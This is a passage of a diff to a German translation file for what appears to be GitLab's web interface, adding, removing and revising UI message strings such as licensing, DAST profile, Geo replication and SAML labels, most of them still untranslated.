msgstr "Titel ändern"
@@ -5555,6 +5730,9 @@ msgstr "Cherry-Pick"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "Wiederherstellen "
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr "Dies wird einen neuen Commit erzeugen, um die vorhandenen Änderungen rückgängig zu machen."
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr "Schließe %{tabname}"
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr "Epic schließen"
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr "Schließt dieses %{quick_action_target}."
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr "Stelle sicher, dass dein Konto %{link_to_requirements}, um Kubernetes-Cl
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr "Commit…"
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr "Container Scanning"
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr "Kopieren"
msgid "Copy %{http_label} clone URL"
msgstr "Kopiere %{http_label} Clone-URL"
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr "Kopiere %{protocol} clone-URL"
@@ -8374,9 +8630,6 @@ msgstr "Befehle kopieren"
msgid "Copy commit SHA"
msgstr "Commit-SHA kopieren"
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr "Konnte Admins nicht als Mitglieder hinzufügen"
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr "Land"
@@ -8539,17 +8813,15 @@ msgstr "Abdeckung"
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr "Erstellen"
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr "Neue Datei erstellen"
msgid "Create new file or directory"
msgstr "Erstelle eine neue Datei oder ein neues Verzeichnis"
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr "Neues Label erstellen"
@@ -8713,11 +8982,14 @@ msgid "Create release"
msgstr ""
msgid "Create requirement"
-msgstr ""
+msgstr "Anforderung erstellen"
msgid "Create snippet"
msgstr "Snippet erstellen"
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr "Erstellt"
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr "Erstellt %{timestamp}"
@@ -8934,6 +9209,9 @@ msgstr "Epic wird angelegt"
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr "Zeige %{subjectFilterText} und %{selectedLabelsCount} Labels"
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr "Bereitstellen auf..."
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr "Widerrufen"
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr "Widerrufe %{name}"
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr "Benutzername"
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr "Beschreibung:"
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr "Details (Standard)"
msgid "Detect host keys"
msgstr "Hostschlüssel erkennen"
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr "Hervorheben des Merge-Requests beenden"
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10980,7 +11293,7 @@ msgid "Edit Release"
msgstr "Release bearbeiten"
msgid "Edit Requirement"
-msgstr ""
+msgstr "Anforderung bearbeiten"
msgid "Edit Slack integration"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr "Anwendung bearbeiten"
msgid "Edit comment"
msgstr "Kommentar bearbeiten"
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr "Beschreibung bearbeiten"
@@ -11009,6 +11325,9 @@ msgstr "Bearbeite Dateien im Editor und committe die Änderungen hier"
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr "Gruppe bearbeiten: %{group_name}"
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr "Auto-DevOps aktivieren"
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr "Aktiviere die Pseudonymizer-Datensammlung"
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr "Aktiviere und konfiguriere Prometheus-Messwerte."
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr "Aktiviere die Klassifizierungskontrolle mithilfe eines externen Service"
@@ -11387,6 +11718,9 @@ msgstr "Aktiviert"
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr "Neuen AWS Secret Access Key eingeben"
@@ -12086,20 +12417,20 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
-msgstr "Wenn Du Sentry selbst hostest, gib bitte die vollständige URL Ihrer Sentry-Instanz ein. Wenn Du Sentrys gehostete Lösung verwendest, gib https://sentry.io ein"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
+msgstr ""
msgid "ErrorTracking|No projects available"
msgstr ""
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr "Beweissammlung"
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr "Menüleiste ausklappen"
@@ -12356,6 +12687,9 @@ msgstr "Erkunde öffentliche Gruppen"
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr "Gruppe exportieren"
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr "Externe Authentifizierung"
@@ -12425,13 +12750,16 @@ msgstr "Klassifizierungslabel"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "Wenn kein Klassifizierungslabel gesetzt ist, wird das Standardlabel `%{default_label}` benutzt."
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr "Fehler beim Entfernen des Tickets vom Bord, bitte versuche es erneut."
-
msgid "Failed to remove mirror."
msgstr "Fehler beim Entfernen des Mirrors."
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr "Tickets konnten nicht aktualisiert werden, bitte versuche es erneut."
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr "Filtern nach %{issuable_type}, die derzeit geschlossen sind."
-msgid "Filter by %{issuable_type} that are currently opened."
-msgstr "Filtern nach %{issuable_type}, die derzeit offen sind."
+msgid "Filter by %{issuable_type} that are currently open."
+msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr "FogBugz-E-Mail"
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr "Für mehr Informationen, gehe zu "
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr "Lies für weitere Informationen bitte die %{link_start_tag}Jaeger Konfigurationsdokumentation%{link_end_tag}"
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr "Fork von"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr "Fork wird erstellt"
@@ -13585,6 +13925,9 @@ msgstr "%{name} ist für die erneute Synchronisierung vorgemerkt"
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr "Tracking-Eintrag für ein vorhandenes Projekt konnte nicht entfernt werd
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr "Fehlgeschlagen"
@@ -13654,6 +14003,15 @@ msgstr "In Bearbeitung"
msgid "Geo|In sync"
msgstr "Wird synchronisiert"
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "Noch nicht synchronisiert"
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr "Ausstehende Synchronisation"
@@ -13714,6 +14078,9 @@ msgstr "Projekte in bestimmten Gruppen"
msgid "Geo|Projects in certain storage shards"
msgstr "Projekte in bestimmten Speicherfragmenten"
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr "Erneuter Download"
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr "Tracking-Datenbankeintrag entfernen"
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr "Resynchronisation"
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr "Status"
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr "Synchronisiert"
@@ -13765,6 +14159,9 @@ msgstr "Synchronisierung fehlgeschlagen - %{error}"
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr "Unbekannter Status"
msgid "Geo|Verification failed - %{error}"
msgstr "Überprüfung fehlgeschlagen - %{error}"
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr "Warte auf den Scheduler"
@@ -13843,6 +14243,9 @@ msgstr "Erste Schritte mit Releases"
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr "GitLab verwendet %{jaeger_link} um verteilte Systeme zu überwachen."
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr "GitLab wird einen Hintergrundjob ausführen, der pseudonymisierte CSVs der GitLab-Datenbank erzeugt, die in dein konfiguriertes Objektspeicherverzeichnis hochgeladen werden."
@@ -14095,6 +14504,24 @@ msgstr "Gitea-Host-URL"
msgid "Gitea Import"
msgstr "Gitea-Import"
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr "Zurück"
msgid "Go back (while searching for files)"
msgstr "Gehe zurück (während der Suche nach Dateien)"
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr "Gruppen-URL"
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr "Gruppenavatar"
@@ -14428,9 +14858,6 @@ msgstr "Die Pipeline-Minuten der Gruppe wurden erfolgreich zurückgesetzt."
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr "Gruppe benötigt ein separates Konto"
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr "Gruppen können durch %{subgroup_docs_link_start}Untergruppen%{subgroup_
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr "Häufig besucht"
